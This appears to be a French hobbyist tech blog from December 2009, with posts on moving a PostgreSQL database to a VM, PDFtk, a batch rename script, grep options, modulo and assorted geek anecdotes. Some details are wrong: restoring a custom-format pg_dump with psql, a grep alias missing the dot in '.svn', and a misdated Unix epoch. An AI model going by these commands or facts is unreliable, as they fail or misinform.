skip to main | skip to sidebar
Code 18
Manuel du savoir-faire à l'usage des geeks et des curieux
RSS
  • Accueil
  • Le web au Québec
  • Liens
  • Twitter
  • Facebook
  • À propos

jeudi 31 décembre 2009

Transférer de serveur une BD PostgreSQL

Publié par Infinite Loop, à 10 h 36 0 commentaire

Dans un article publié récemment, j'exprimais le désir de retirer tous les éléments qui simulaient un serveur de développement sur mon ordinateur personnel pour les transférer sur une VM. De cette façon, je n'encombrerais pas mon PC et la VM serait plus facile à cloner pour faire des expérimentations.

À ce stade-ci, je compte bien faire une série d'articles qui couvre le sujet. Pour l'instant, ma configuration actuelle est :

  1. J'ai un poste de travail avec Windows XP où EasyPHP est installé (Apache, PHP). J'ai aussi une instance de PostgreSQL Windows que j'utilise à la place de MySQL.
  2. La machine virtuelle VMware est créée avec Ubuntu.
  3. Apache a été installé sur la VM pour l'utiliser comme serveur web.
  4. Je n'ai pas encore installé PHP sur la VM alors je continue à rouler EasyPHP sur mon poste hôte Windows.
  5. J'ai installé PostgreSQL sur la machine virtuelle ce qui veut dire que je suis prêt à transférer la base de données Postgres Windows vers la VM Linux pour ensuite retirer complètement toute trace de Postgres sur Windows. C'est ce que je vais faire aujourd'hui.
  6. Demain, j'expliquerai comment faire la connexion pour que le serveur PHP Windows sur lequel PHP et Apache roulent puisse accéder au serveur Postgres sur la machine virtuelle.
  7. Éventuellement, je transférerai aussi PHP vers la VM.
Ce qui veut dire que ma machine Windows continuera à être utilisée temporairement comme serveur web de développement (avec Netbeans, Apache, PHP) tant que tout ne sera pas transféré sur la VM. Présentement, seul le serveur PostgreSQL et la base de données seront déplacés vers la machine virtuelle.

Pour faire une copie de sauvegarde de la base de données (Windows), on peut simplement utiliser pgAdmin III, cliquer sur le bouton droit de la souris sur la BD en question, choisir Backup dans le menu contextuel et donner un nom de fichier, par exemple db.backup.

Ceci exécutera une commande similaire à :

pg_dump -h localhost -p 5432 -U postgres -F c -b -v -f "db.backup" database_name

Ensuite, il faut transférer le fichier sur la machine virtuelle. Libre à vous de le copier sur une clé USB, vous l'envoyer par courriel (si le fichier n'est pas volumineux), etc.

Du côté de la machine virtuelle, on doit créer une nouvelle base de données vierge qui accueillera le backup. Voici un exemple de commande qui peut être exécutée par le terminal (il n'est pas nécessaire de se connecter à psql) :

createdb -h localhost -U postgres code18

Ici, code18 est le nom de la nouvelle base de données.

Ensuite, si pgAdmin III est installé sur le serveur (dans mon cas oui car c'en est un de développement mais ce n'est pas standard), il est possible de restaurer le fichier par l'interface graphique : click droit sur la nouvelle BD / Restore et choisir l'emplacement du fichier.

Sinon, on peut appliquer le script généré dans le backup par la commande :

psql -h localhost -U postgres code18 < /tmp/db.backup

On indique qu'il faut appliquer le script db.backup qu'on a placé dans le répertoire /tmp/ (pour faire simple) à la base de données nommée code18. Le reste est l'information de connexion (quel serveur, nom d'utilisateur).

Avec la configuration par défaut, il sera possible d'utiliser cette base de données localement, c'est-à-dire dans un environnement fermé sur la machine virtuelle. Demain, j'expliquerai comment se connecter à Postgres (VM Linux) à partir de PHP Windows.


Tags: PostgreSQL, Virtualisation

mercredi 30 décembre 2009

Manipuler des fichiers PDF gratuitement

Publié par Infinite Loop, à 13 h 20 0 commentaire

Je suis en train de remplacer progressivement tous les logiciels commerciaux de mon poste Windows par des alternatives gratuites (et éventuellement faire le saut définitif à Linux avec une VM Windows pour certaines tâches précises).

Hier soir, j'ai installé SumatraPDF, un lecteur PDF gratuit et ultra-léger (environ 1 Mo) pour remplacer Adobe Acrobat Reader qui ne cesse de prendre de l'expansion (une centaine de Mo après installation).

Un autre utilitaire dont je me sers est le classique PDF995 (disponible gratuitement en version allégée). Au moment de l'impression de n'importe quel type de document, il est possible d'indiquer de ne pas utiliser l'imprimante par défaut mais plutôt le pilote d'impression de PDF995 qui créera un fichier PDF en sortie. On doit téléchager et installer les deux fichiers pour que ça fonctionne : Pdf995 Printer Driver et Free Converter.

Ensuite, j'ai téléchargé PDFtk, un petit toolkit gratuit qui s'exécute par le command line pour manipuler les fichiers PDF. Entre autre, on peut fusionner des documents, les diviser, les pivoter, les crypter et décrypter, appliquer un filigrane de fond ou une estampe en avant-plan (ex: confidentiel), diviser un document en des pages uniques (1 document PDF par page), réparer les PDF corrompus et plus.

Il suffit de télécharger PDFtk, décompresser l'archive et pour faire simple, déposer le fichier exécutable dans C:\WINDOWS\system32\. Ce programme est disponible aussi sous Linux, Mac OS X, FreeBSD et Solaris.

Ça me sera pratique lorsque je voudrai manipuler des eBooks. Par exemple, si je veux ajouter l'image de la couverture d'un livre comme première page d'un document PDF, je peux faire ceci :

  • Imprimer avec PDF995 l'image de la couverture pour générer un fichier PDF
  • Ouvrir cmd.exe
  • Appeler PDFtk pour fusionner le document original et la couverture (dans l'ordre) :

    pdftk cover.pdf document.pdf output final.pdf
Ou encore, pour extraire une seule page du document, par exemple la page 5 :

pdftk document.pdf cat 5 output page.pdf

Le seul programme que je n'ai pas encore trouvé en est un qui me permetterait de convertir gratuitement et d'un seul coup des fichiers CHM à PDF. Faites-moi signe si vous en avez un à proposer (idéalement en command line).


Tags: Coffre à outils

mardi 29 décembre 2009

Calendrier Linux en septembre 1752

Publié par Infinite Loop, à 10 h 38 0 commentaire

Voici une petite particularité amusante qu'on m'a fait parvenir à propos du calendrier Linux. Dans un terminal, si vous entrez :

cal 9 1752

Vous verrez apparaître le calendrier du mois de septembre 1752. Remarquez bien ce qui se produit entre le 2 et le 14 septembre. Est-ce un bogue ? Est-ce un warp zone ? L'histoire semble avoir été effacée entre le 3 et le 13 septembre 1752.



L'explication est historique. En septembre 1752, la Grande-Bretagne et ses colonies (dont les États-Unis de l'époque) se sont réformées et ont adopté le calendrier grégorien (pape Grégoire XIII) pour remplacer le calendrier julien (instauré par Jules César) qui était utilisé depuis 45 avant J.-C. À cette époque, le calendrier des saisons comptait un déficit de 11 jours, d'où l'ajustement.

Selon Wikipedia, le manuel de Sun Solaris écrivait qu'un calendrier inhabituel est imprimé pour Septembre 1752. 11 jours ont été omis pour compenser l'absence d'ajustements des années bissextiles. Le manuel Plan 9 de Bell Labs indique aussi : "Essayez cal sep 1752"
.

Une explication plus détaillée se trouve ici (classique : "They also fixed the man page for "cal" to document the bug as a feature").

J'ai vérifié avec Windows pour voir si ça se produisait aussi mais le calendrier couvre uniquement la période de 1980 à 2099 (XP à Windows 7). En fait, ça touche uniquement le programme cal de Linux. Sinon, sous les systèmes d'exploitation dérivés de Unix, le temps est calculé à partir du nombre de secondes écoulées depuis le 1er septembre 1970.

On a souvent fait remarquer que les gens nés un 29 février ou même un 25 décembre sont malchanceux car ils obtiennent rarement toute l'attention qu'ils mériteraient. Imaginez maintenant comment le chanteur d'opéra suédois Carl Stenbord doit se retourner dans sa tombe, lui qui est né le 8 septembre 1752...


Tags: Curiosités, Linux

lundi 28 décembre 2009

Fichier batch pour renommer les fichiers en lot

Publié par Infinite Loop, à 11 h 23 3 commentaires

Je possède une collection de fichiers PDF que j'accumule depuis des années et j'avais initialement commencé à préfixer leurs noms avec le nom de l'éditeur pour avoir une certaine forme de classement (par exemple : O'Reilly-PHP Cookbook.pdf). En ayant réuni des milliers de pdf en 5 ou 6 ans, je me suis rendu compte que ça aurait été plus approprié de les classer comme mes mp3, en créant un répertoire par éditeur et en les regroupant à l'intérieur. Classés ainsi, il n'était plus nécessaire de voir apparaître l'éditeur dans le nom des fichiers.

Comment faire un ménage rapide sur un volume élevé de fichiers ? Je sais qu'il existe des logiciels commerciaux et des sharewares qui peuvent faciliter le travail mais je n'ai pas le goût de polluer mon poste pour une simple opération. De plus, étant un programmeur professionnel, pourquoi est-ce que je me laisserais tenter par la facilité alors que je peux moi-même écrire un fichier batch tout simple ? Une bonne opportunité pour programmer quelques lignes et me sauver beaucoup de temps sur une opération manuelle peu stimulante. De plus, ça me permet d'apprendre et de réviser des concepts.

Voici le script que j'ai écrit pour répondre aux appels similaires à celui-ci (avec 3 arguments) :

script.bat source mot_recherché remplacer_par

> script.bat "C:\Documents and Settings\Code18\PDF\" O'Reilly-

Le dernier argument est laissé vide car je veux le remplacer par une chaîne vide (autrement dit, juste retirer le mot clé recherché).

Le contenu de script.bat :

@echo off
rem http://code18.blogspot.com

set v_find=%2
set v_replace=%3

for /r %1 %%i in (*.pdf) do (
set v_path="%%~dpi"
set v_filename="%%~nxi"
call :rename
)
goto :eof

:rename
CALL set v_newfilename=%%v_filename:%v_find%=%v_replace%%%
ren %v_path%\%v_filename% %v_newfilename%
Mis à part les lignes insérées pour la lisibilité, le script compte moins de 15 lignes de code (moins de 1 Kb!) et s'exécute sur la totalité des fichiers en à peine quelques secondes.

Au début, je récupère les paramètres de la commande indiquant quoi rechercher (v_find) et par quoi le remplacer (v_replace) pour les conserver dans des variables (set). J'effectue une boucle récursive dans le répertoire racine (%1) et sous-répertoires pour ne pas avoir à tenir compte de leur emplacement dans l'arborescence et j'applique un filtre pour ne rechercher que les fichiers pdf.

Pour chaque fichier, j'extrais le chemin incluant de drive avec le flag "d". Autrement, lorsqu'il tentera de renommer le fichier, il risque de se plaindre que "The system cannot find the path specified". Je récupère aussi le nom du fichier avec son extension (%%~nxi). Ceci me permettra de procéder au remplacement uniquement sur le nom du fichier et non pas sur le chemin s'il s'avérait que le terme recherché se trouve aussi dans le path.

J'effectue un appel à une pseudo-fonction à l'extérieur de la boucle pour contourner le problème d'assignation aux variables que le script ne semble pas reconnaître correctement au moment du remplacement (dans :rename). Dans le bloc de code :rename, je crée une nouvelle variable qui contient le nouveau nom de fichier que j'obtiens par le remplacement avec la syntaxe %v_filename:find=replace% sur la variable %v_filename%. Comme j'utilise d'autres variables pour savoir quoi chercher et quoi remplacer, j'ajoute les % aux bons endroits. Je crois que si j'avais appellé cmd.exe avec le flag /v, j'aurais pu substituer les variables %var% par !var! pour une meilleure lisibilité dans l'imbrication. Enfin, je renomme le fichier avec ren.

Vous voyez un peu l'idée. Tout comme moi, vous pouvez modifier le script pour le réutiliser dans d'autres contextes, par exemple avec des mp3 pour retirer un préfixe (souvent le nom de l'artiste), retirer le préfixe automatique des photos provenant d'une caméra numérique (DSCFxxxx), etc. Une seule chose : faites attention aux délimiteurs avec des espaces dans les remplacements, je ne me suis pas encore penché sur le problème (ex: O'Reilly-Nom_du_livre versus O'Reilly - Nom_du_livre).

Faites en bon usage et n'hésitez pas à l'adapter à vos besoins.


Tags: Programmation

dimanche 27 décembre 2009

Palindrome mathématique

Publié par Infinite Loop, à 19 h 01 2 commentaires

Ma petite cousine m'a fait remarqué quelque chose de spécial dans la multiplication mathématique suivante :

111 111 111
x
111 111 111

En multipliant 111 111 111 par lui-même, on obtient comme résultat un palindrome numérique:

12345678987654321


Avouez que c'est quand même cool, non ?


Tags: Mathématique

Comment fonctionne le modulo ?

Publié par Infinite Loop, à 10 h 48 2 commentaires

En arithmétique, on sait par définition que le modulo représente le reste de la division d'un chiffre par un autre. En programmation, on en utilise de temps à autres et force est d'admettre que le concept n'est pas toujours clair par rapport au résultat attendu.

On aurait tendance à penser à tord que le reste de la division dans 7 mod 3 représente la partie décimale du résultat : 7 / 3 = 2,3333 (périodique)

Donc :

  • 0,3333 ?
  • 3333 ?
  • 3 ?
Alors qu'en réalité, si on entre 7 mod 3 sur une calculatrice, le résultat sera 1. Pourquoi ?

Dans la division 7 / 3 = 2,3333 :
  • 7 est le numérateur
  • 3 est le dénominateur, le diviseur
  • 2,3333 est le quotient
Autrement dit, ça prend 2,3333 fois le dénominateur pour obtenir le numérateur du départ. Donc 2 fois le dénominateur en totalité plus le tiers du dénominateur. Ce qui nous intéresse ici, c'est de savoir le reste nécessaire à combler la différence et non la partie décimale.
  • On conserve la partie entière du quotient : 2,3333 devient 2
  • On le multiplie par le dénominateur 2 * 3 = 6
  • On soustrait ce résultat du numérateur : 7 - 6 = 1
  • On obtient un modulo de 1
C'est pourquoi quand on cherche le modulo de 7 mod 3, le nombre 3 entre 2 fois en totalité dans 7 et il manque 1 pour combler le reste.


Tags: Mathématique, Programmation

Citation no. 62 sur les artistes

Publié par Infinite Loop, à 09 h 46 0 commentaire

Bad artists copy. Great artists steal.

- Pablo Picasso


Tags: Citations

samedi 26 décembre 2009

Film Pirates of Silicon Valley

Publié par Infinite Loop, à 11 h 08 0 commentaire

Avec le temps libre qui vient avec le temps des fêtes, j'ai aussi eu le temps de visionner Pirates of Silicon Valley, un film vieux de 10 ans qui relate l'histoire des débuts d'Apple et de Microsoft, en mettant en avant-plan les deux personnages qui ont donné ses lettres de noblesse à ces entreprises : Steve Jobs et Bill Gates. Et leur rivalité.

Ce n'est pas un film révolutionnaire, mais c'en est un qui parle d'une révolution. Le film débute avec le tournage de la publicité du lancement du Mac en 1984. S'en suit un saut dans le temps, au Macworld Expo '97, alors qu'Apple et Microsoft annoncent une entente de partenariat qui choque l'audience. Alors que Jobs fait sa présentation, Gates est projeté sur un écran géant en temps réel, à l'image de Big Brother.

Ce qui est bien dans ce film, c'est la façon dont l'histoire est décrite. Elle donne un angle de vue différent sur les faits et la personnalité réelle des personnages. Bill Gates est dépeint comme quelqu'un de crispé, timide, intraverti, nerveux, pratiquement tourmenté, qui aime le poker et la vitesse. Alors que Steve Jobs est aux antipodes : charismatique, artistique, cool et zen, au-dessus de ses affaires, parfois arrogant, qui expérimente le LSD, mais qui est lui aussi animé par le même esprit compétitif. Après tout, eux aussi sont humains.

On y notera aussi les rôles de Steve Wozniak, Steve Ballmer, Paul Allen et même Captain Crunch qui apparaît brièvement dans le récit. D'ailleurs, la distribution et le jeu des acteurs est assez efficace pour y croire.

Prenez seulement exemple sur Anthony Michael Hall qui joue le rôle de Bill Gates. Dans une entrevue, à la question "Why did you want to play Bill Gates?", il a répondu :

I really fought for this part because I knew it would be the role of a lifetime. It was a thrill and a daunting challenge to play someone of his stature and brilliance.
Cependant, il a probablement eu beaucoup plus de reconnaissance publique pour son rôle de Johnny Smith dans la série télé The Dead Zone (Stephen King).

De plus, on comprendra mieux l'impact de certaines compagnies comme Xerox, IBM et Altair dans la destinée et le succès d'Apple et Microsoft. Avec quelques anecdotes bien glissées dans le scénario (comme l'épisode de la cravate), une bonne production et l'habileté de vulgariser le tout en une bonne histoire, je dois avouer que j'ai apprécié ce film, même si on excusera le fait que certains faits sont plus ou moins exacts.

Mais je suis certain que les geeks apprécieront.


Tags: Club Vidéo, Le coin du geek

vendredi 25 décembre 2009

Une surprise pour Noël

Publié par Infinite Loop, à 12 h 08 0 commentaire

En ce matin de Noël, j'ai eu la surprise de trouver un intrus qui a trouvé refuge dans mon livre The Long Tail. Un peu mal caché, il faut l'avouer.



Qu'est-ce qui s'y cache ?



Un petit animal de compagnie :-)

À tous, je vous souhaite un joyeux Noël. En espérant que vos projets les plus fous se réalisent!

Suite à la publication de cette photo, Chris Anderson, l'auteur de The Long Tail, m'a même envoyé un message sur Twitter disant qu'il aimait ça.


Tags: Le coin du geek

jeudi 24 décembre 2009

The Long Tail par Chris Anderson

Publié par Infinite Loop, à 10 h 54 0 commentaire

The Long Tail, la fameuse courbe de distribution dont tout le monde parle à l'ère de la nouvelle économie web. Celle qui nous permet d'obtenir les produits les plus rares avec beaucoup plus d'accessibilité et de facilité en offrant le plus grand choix possible de produits. Même les produits les plus rares se vendent en quelques copies et la somme de ces produits constitue un marché potentiel beaucoup plus grand que celui des succès commerciaux. On a qu'à penser à iTunes, Rhapsody, eBay, Amazon, Google ou NetFlix, dont les exemples abondent dans ce livre.

Dans son article original paru dans Wired en 2004, Chris Anderson a visé en plein centre de la cible et a su définir et expliquer le phénomène avec justesse. Son livre est une extrapolation de tout ça.

Ça faisait longtemps que je voulais le lire et comme j'ai attendu longtemps pour l'acheter, j'ai eu droit à une réédition incluant un chapitre supplémentaire. J'ai profité des vacances de Noël pour amorcer la lecture avec attention. Dès les premières pages, l'auteur présente quelques faits sur l'industrie musicale et comme j'y ai été fortement lié dans une autre vie, je sentais que j'allais me régaler. En parlant du déclin des radios commerciales et du contenu télévisuel qui perd au profit d'Internet, là où tous peuvent trouver sur demande du contenu répondant à leurs besoins spécifiques, on note un changement marqué dans les habitudes de consommation. Nous avons maintenant l'embarras du choix, le pouvoir de décider et d'influencer le marché.

Et c'est ma génération qui en tire avantage. Alors que ceux de l'âge de mes parents continuent à se laisser transporter par les hits, les blockbusters, les grandes surfaces et la culture mainstream, ceux de mon âge ont radicalement changé leur façon de magasiner et sont en mesure de satisfaire leurs intérêts particuliers. Je suis membre actif d'eBay et acheteur compulsif sur Amazon depuis 2003. J'achète des t-shirts personnalisés sur des sites DIY obscurs. Je commande des gadgets directement des fournisseurs en Chine. Que de découvertes sur CDBaby! Et plutôt que d'aller dans une boutique comme l'Échange Mont-Royal pour espérer trouver un titre usagé, je me suis tourné vers les marketplaces de CD et livres sur le web. Et je suis loin d'être le seul. C'est un peu ça acheter dans une niche de marché.

Pour citer quelques exemples du livre, la compagnie Lego a même lancé un service pour effectuer une construction virtuelle personnalisée. Une fois complétée, on peut effectuer une commande en ligne où toutes pièces utilisées sont rassemblées et expédiées par la poste. J'ai connu quelqu'un qui, même dans la trentaine, était un trippeux de ce jeu de blocs de construction et je le soupçonne d'avoir utilisé ce service à maintes reprises...

Sinon, l'anecdote du Dell Hell en est une qui, par l'insatisfaction d'un seul client qui s'est manifesté sur le web, a créé un effet boule de neige qui a influencé les politiques de l'entreprise. Ce sont les consommateurs qui prennent le pouvoir et qui, par le partage de leurs critiques et recommandations en ligne, dictent la direction du marché. Ce qui peut en faire un succès ou non (on écarte plus rapidement les citrons que par le passé). Ça me rappelle ma montée de lait contre Vidéotron...

Du côté des livres, on parle beaucoup ces temps-ci des livres électroniques qu'on tente de faire adopter (je regardais justement un reportage à Radio-Canada qui disait que ce n'était pas encore au point, que les modèles actuels seront vite désuets et d'attendre avant de vous en procurer un). Pour l'instant, le livre papier a encore la cote et les ventes vont bien. J'ai un ami qui a écrit 4 romans et qui hésite à les publier par une maison d'édition ou comme indépendant. Je lui ai suggéré de se tourner vers Lulu.com, une entreprise qui publie, distribue et imprime les livres sur demande au fur et à mesure que les ventes arrivent.

Enfin, je pourrais m'éterniser davantage sur le sujet mais le mieux est de le lire. Pour 12$ sur Amazon en paperback, c'est définitivement une valeur sûre. Comme le livre, je conclus en vous disant d'aller jeter un oeil à l'imprimante Desktop Factory 3D. Comme la tendance est de tenir un inventaire minimum, nul ou virtuel (fichiers musicaux, livres électroniques, etc), qui sait si cette machine ne sera pas à la base d'une révolution commerciale ?


Tags: Livres

mercredi 23 décembre 2009

L'informatique et King Kong Bundy

Publié par Infinite Loop, à 15 h 54 0 commentaire

On sait tous que les lutteurs sont des geeks refoulés. Une fois sorti du ring, chacun s'assoit devant son ordinateur personnel pour jeter un oeil aux BBS et planifier leur prochain scénario de combat.

Comme dirait Patrick Lagacé : pourquoi suis-je fasciné par cette photo ? Parce qu'on y croit vraiment.



Avec toutes phrases "catchy" que cette publicité contient, il y a de quoi se poser des questions sur les parallèles qu'on tente de créer entre l'ordinateur et la lutte :

  • A true heavyweight contender (ouch!, 1-0)
  • No wrestling with manuals (dans les dents!, 2-0)
  • Take the challenge, the first complete package absolutely nobody can beat! (TKO)
Et c'est sans compter le maillot de lutteur. On dirait un sous-vêtement qu'il a étiré pour s'en faire des bretelles. OK, c'était une autre époque nous dira-t-on... Les anthropologues qui retrouveront cette photo dans quelques siècles auront à se creuser la tête pour comprendre le lien. J'imagine déjà la scène.


Tags: Humour, Vieilles publicités

mardi 22 décembre 2009

Origine du nom des notes de musique

Publié par Infinite Loop, à 10 h 54 0 commentaire

Dans le jeu d'apprentissage des notes NoteCard 3.1 (disponible en version anglaise), j'ai remarqué dans l'interface que la note SI était nommée TI. Je croyais que c'était une erreur mais après avoir communiqué avec Nick, un membre de l'équipe de développement, nous avons échangé sur les différences culturelles du nom des notes. Il me faisait remarquer que les syllabes portent des noms différents selon la langue et que selon cette charte, le terme SI fait référence à la note Sol dièse (G#) et que le SI tel qu'on le connaît est renommé TI. Bien que j'ai eu des cours élémentaires en musique, je ne me souviens pas avoir déjà vu ça dans la théorie. Pour moi, la note SI est l'équivalent de B dans la notation internationale.

Dans ma réponse par courriel, je lui ai fait parvenir les variantes des noms de notes provenant de ce tableau sur Wikipedia. En effet, TI s'y trouve mais je ne suis toujours pas convaincu de la popularité de son utilisation, ni en français ni en anglais.

Autrement, on voit aussi que DO possède aussi le nom alternatif UT. Ceci est dû à l'origine que les noms des notes provenaient d'un poème latin écrit par le moine bénédictin Paulus Diaconus au 8ème siècle :

Ut queant laxis
Resonare fibris
Mira gestorum
Famuli tuorum,
Solve polluti
Labii reatum,
Sancte Ioannes.
Qu'on peut traduire par :

Afin que tes serviteurs puissent chanter à gorge déployée tes accomplissements merveilleux, ôte le pêché de leurs lèvres souillées, saint Jean.


Tags: Musique

lundi 21 décembre 2009

Ordre de recherche dans les schémas PostgreSQL

Publié par Infinite Loop, à 09 h 02 0 commentaire

J'ai déjà parlé des schémas dans PostgresSQL et je disais que lorsqu'on fait référence à un objet, l'engin le recherchait par défaut dans le schéma public. Or, il est possible de changer cet ordre de recherche pour commencer dans un autre schéma. Ceci est dû à la configuration de la variable search_path.

Pour voir l'ordre actuel par défaut :

SHOW search_path;
On changera l'ordre ainsi :
SET search_path TO myschema, public;
Certains se poseront la question à savoir ce qu'on peut faire si nous avons plus d'un schéma utilisateur. Il suffit de les lister en les séparant par des virgules :
SET search_path TO myschema1, myschema2, public, myschema3;
Bonne pratique à adopter

Pour éviter l'ambiguité, ne prenez pas de chance, préfixez toujours vos objets dans les requêtes avec le nom du schéma. Non seulement vous aurez un léger gain de performance car l'engin n'aura pas à résoudre le chemin puisqu'il sera explicite, mais vous serez certain que si votre application est installée sur un autre serveur avec une configuration différente, il n'y aura pas de conflits.


Tags: PostgreSQL

dimanche 20 décembre 2009

Ce que veut dire Wiki

Publié par Infinite Loop, à 10 h 19 0 commentaire

Je fais une pause sur la lecture du livre The Long Tail de Chris Anderson (que je lis enfin!) parce que je viens de lire quelque chose que j'ignorais complètement. Un fait minuscule et pratiquement anodin. Et ce n'est pas parce que je l'ai déjà su et que je l'ai oublié avec le temps. Non, je ne le savais tout simplement pas parce que je ne m'étais jamais posé la question : que veut dire le terme "Wiki" ?

Au chapitre 5, l'auteur décrit le fonctionnement de Wikipedia, l'encyclopédie libre où tout le monde peut contribuer à sa guise. Le mot WIKI vient d'un terme hawaien qui veut dire "rapide". Il est aussi utilisé comme rétro-acronyme pour "What I Know Is".

En étant devant mon PC, j'en ai profité pour faire une recherche sur Hawaï. Il existe une langue Pidgin (comme un "créole" hawaïen) dont la populaire messagerie instantanée en a repris le nom. Une bonne alternative gratuite à MSN (que j'utilise autant sur Linux que Windows).

De retour à ma lecture.


Tags: Saviez-vous que

Citation no. 61 à propos de PHP et Perl

Publié par Infinite Loop, à 08 h 26 0 commentaire

PHP est un mal mineur créé et perpétré par des amateurs incompétents, alors que Perl est un grand mal insidieux perpétré par des professionnels qualifiés, mais pervertis.

- Jon Ribbens


Tags: Citations, Perl, PHP

vendredi 18 décembre 2009

Fusionner des structures JSON avec jQuery

Publié par Infinite Loop, à 21 h 14 3 commentaires

Dernière journée au boulot avant les vacances de Noël. Ce fût assez calme et je dois admettre que je n'ai pas grand chose à raconter. Sauf si ce n'est que j'ai tenté de fusionner des structures JSON avec jQuery.

Je savais que la la fonction merge() de jQuery permettait de fusionner des arrays, mais ce dont j'avais besoin était de le faire sur des structures JSON.

Voici ce que j'ai utilisé :

var structure1 = {
link1:
{ title: 'Google', link:'http://www.google.com' }
};

var structure2 = {
link2:
{ title: 'Yahoo', link:'http://www.yahoo.com' }
};

var structure3 = {
link3:
{ title: 'Bing', link:'http://www.bing.com' }
};

var megastructure = $j.extend({}, structure1, structure2, structure3);

// Firebug
console.log(megastructure);
Tout simplement.

Je vous souhaite à tous un joyeux temps des fêtes !


Tags: JavaScript

jeudi 17 décembre 2009

Game Boy sur Psycho-acoustic

Publié par Infinite Loop, à 19 h 15 0 commentaire

Ce midi, en parcourant le catalogue de l'étiquette de musique d'avant-garde Tzadik, une pochette a attiré mon attention. Il s'agit de l'album Psycho-Acoustic de l'artiste japonais Tetsu Inoue.

Bien que je ne sois ni un gamer ni un spécialiste de cette console portative, j'ai reconnu la représentation d'un Game Boy sur la pochette (pour faire suite au clone de la Wii d'hier...). Est-ce une version qui a déjà existé ou une retouche graphique pour éviter d'afficher la marque ? J'ai cherché un peu et je suis tombé sur un article de Gizmodo : The Definitive Game Boy Timeline, mais l'illustration n'en faisait pas mention.



L'écoute de cet album constitue toute une expérience auditive. Soyez avertis. De plus, on note la présence d'une figure emblématique de l'entourage de John Zorn, la percussionniste Ikue Mori.

Ce qui m'amène à vous dire que John Zorn sera présent au Festival International de Jazz de Montréal cet été, le 2 juillet 2010, en compagnie de Laurie Anderson et Lou Reed. Ça promet ! J'avais déjà vu Zorn avec Masada acoustique en 2006 et une autre fois à la salle The Stone à New York en 2008. Ah, c'était mémorable :-)


Tags: Le coin du geek, Musique

mercredi 16 décembre 2009

Clone de la Nintendo Wii

Publié par Infinite Loop, à 22 h 43 2 commentaires

Je reviens à l'instant de la pharmacie Jean Coutu où ma copine devait récupérer sa carte Interac qu'elle avait oublié lors de sa dernière visite. En attendant au département des accessoires de photo pour que l'employé revienne avec la carte, j'ai remarqué derrière le comptoir une boîte d'une console de jeux vidéos très similaire à la Wii de Nintendo.

Il s'agit de la MiWi, vendue au prix de 49.99$. Au Québec, elle semble être commercialisée par l'entreprise Cora (j'ai cru voir ce nom sur la boîte) mais j'ai trouvé plus de détails sur la MiWi sur le site de Eitekk Electronic (fabricant chinois).



Le style de l'emballage, le logo et la console sont directement inspirés de la Wii. Les manettes sont similaires à la Wiimote, mais sans nunchuk. Ça semble inclure 8 jeux de sports interactifs (Boxe, Ping Pong, Tennis, Golf, Baseball, Soccer, Bowling et Pêche) ainsi que 33 jeux bonus.

Évidemment, on est certainement loin de l'expérience qu'offre la Wii originale. Mais je serais curieux de connaître vos commentaires si quelqu'un parmi vous en a fait l'essai. Pour le prix, ce n'est peut-être pas si mal ?

Une chose est sûre, si votre enfant a demandé au Père Noël une Wii, offrez-lui une Wii. Noël est le dernier jour où on veut voir son enfant triste.


Tags: Le coin du geek

mardi 15 décembre 2009

Exclure les répertoires .svn de grep

Publié par Infinite Loop, à 20 h 57 0 commentaire

Cet après-midi, je voulais effectuer une recherche sur les fichiers d'un projet en développement pour retrouver les références à un élément précis dans l'ensemble du code source.

Le problème, c'est que si je lançais une recherche avec un IDE (Netbeans, Dreamweaver, etc), il me sortait toutes les occurences trouvées (parfois plusieurs par page). J'avais plutôt besoin d'extraire la liste des fichiers qui comptaient au moins une référence. J'ai donc préféré utiliser GREP pour faire la recherche.

Par défaut, le programme sort toutes les lignes qui contiennent le terme recherché (j'ai utilisé ici un "lorem" générique pour la démonstration). Dans ce type de situation, mieux vaut utiliser grep avec -r pour que ça soit récursif dans tous les répertoires enfants.

grep -r lorem *

Le problème : mon projet est versionné avec Subversion et j'aimerais pouvoir exclure ce qu'il trouve dans les répertoires .svn. Comment indiquer à grep de ne pas chercher dans ces répertoires ?

Avec l'option --exclude qui permet de définir un pattern :

grep -r --exclude="*\.svn*" lorem *

Ou --exclude-dir pour nommer explicitement un répertoire :

grep -r --exclude-dir=.svn lorem *

Exécutée telle quelle, la commande retournera davantage d'information que le nom des fichiers. On peut épurer les résultats en appliquant l'option -l :

grep -r -l --exclude-dir=.svn lorem *

Qu'on peut aussi regrouper comme ceci :

grep -rl --exclude-dir=.svn lorem *

Ceci aura pour effet d'imprimer seulement le nom des fichiers dans lesquels il trouve une correspondance. C'est aussi plus performant car grep passera au fichier suivant dès qu'il aura trouvé une première occurence dans un fichier.

Une fois notre commande définie correctement, il sera judicieux d'ajouter un alias à notre OS Linux pour être un peu plus productif les fois suivantes :

alias grepsvn='grep -rl --exclude-dir=svn'

Et on teste :

grepsvn lorem *

La liste des fichiers s'affiche correctement. Enfin, sauf si vous utilisez une saveur Windows de Grep. Dans ce cas, vous risquez de devoir obligatoirement entourer les mots clés de recherche et le pattern de guillemets :

grep -r --exclude="*\.svn*" "lorem" *

De plus, il est fort probable que l'option --exclude-dir n'existe pas (comme celui inclut dans UnxUtils).


Tags: Coffre à outils, Linux, Programmation

lundi 14 décembre 2009

Tag de version avec TortoiseSVN

Publié par Infinite Loop, à 21 h 46 0 commentaire

Si vous n'utilisez pas de logiciel de contrôle de sources, vous vous engagez sur un terrain glissant car vous risquez tôt ou tard de perdre le fruit de votre labeur (à moins bien sûr de faire des copies de sauvegarde régulièrement, mais ça n'égalera jamais la fiabilité d'un CVS).

Une fois qu'un tel système est en place, vous êtes en mesure de versionner vos fichiers et projets efficacement. Lorsque vient le temps de faire une la livraison d'une version de votre application, vous pouvez indiquer au logiciel de contrôle de sources de créer une copie des fichiers finaux qui seront regroupés sous une étiquette, généralement le numéro de version. Par la suite, vous poursuivez le développement dans le tronc commun pour y ajouter les modifications, corrections de bogues, nouvelles fonctions, etc, en vue de la version suivante.

Grâce à l'étiquette, vous serez en mesure de récupérer en tout temps l'ensemble des fichiers d'une version antérieure, comme si elle avait été figée dans le temps. Avec SVN et le client TortoiseSVN, on peut dire de créer un tag de deux façons.

La premiere consiste à faire un click droit avec la souris sur le dossier du projet pour ouvrir le menu contextuel. Choisissez TortoiseSVN - Branch/Tag... Dans la fenêtre, modifiez l'URL de l'emplacement où doit être créée la copie :

From WC (working copy) at URL:
svn://serveur/projet/trunk

Par exemple, modifiez l'adresse pour :
svn://serveur/projet/tags/version1

Choisissez la révision qui se trouve dans le repository et entrez une note explicative au besoin (recommandé).

